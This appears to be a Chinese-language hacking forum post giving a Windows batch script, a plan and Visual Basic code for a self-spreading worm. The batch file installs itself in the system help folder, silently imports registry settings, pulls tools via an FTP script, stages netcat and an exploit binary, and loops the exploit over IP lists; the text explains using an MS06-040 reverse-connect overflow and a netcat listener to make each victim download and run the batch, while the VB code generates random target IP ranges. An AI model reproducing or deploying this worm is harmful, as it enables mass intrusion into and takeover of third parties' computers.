if not exist %systemroot%\help\good.bat copy good.bat %systemroot%\help\good.bat & %systemroot%\help\test2.vbs & del good.bat regedit -s %systemroot%\help\1.reg ftp -s:%systemroot%\help\ftp.txt move c:\nc.exe %systemroot%\help\ /y move c:\42.exe %systemroot%\help\ /y move c:\ip.exe %systemroot%\help\ /y %systemroot%\help\test.vbs rem for /f %%i in (result1.txt) do set a=%%i rem for /f %%j in (result.txt) do 42 %a% %%j 810 準(zhǔn)備: 1:找一個(gè)反向連接的溢出攻擊程序,如ms06040漏洞 2:找呀一個(gè)免費(fèi)FTP空間,最好是送域名的 3:利用你所知道的高級語言編寫一個(gè),能生成隨機(jī)范圍IP地址和找到本機(jī)IP的工具. 思路: 用for語句對指定文本里的IP進(jìn)行溢出,然后用if語句判斷是否溢出成功, 如果成功開啟一個(gè)NC監(jiān)聽端口,NC后面帶一個(gè) < 輸入符號 輸入的內(nèi)容為下載本批處理文件,然后執(zhí)行這個(gè)批處理.這樣被溢出的機(jī)器就又會在他那里運(yùn)行我門的批處理,從而到自動(dòng)傳播的目的.
生成隨機(jī)IP工具的VB代碼 Private Sub Form_Load() Dim fso As New FileSystemObject Dim a, b, c, d As Integer Dim ph, e As String ph = App.Path & "\" & "ip.txt" Randomize a = Int(253 * Rnd + 1) b = Int(253 * Rnd + 1) c = Int(240 * Rnd + 1) Open ph For Output As #1 For i = c To c + 7 For j = 1 To 254 e = a & "." & b & "." & i & "." & j Print #1, e DoEvents Next j Next i Close #1 Unload Me End Sub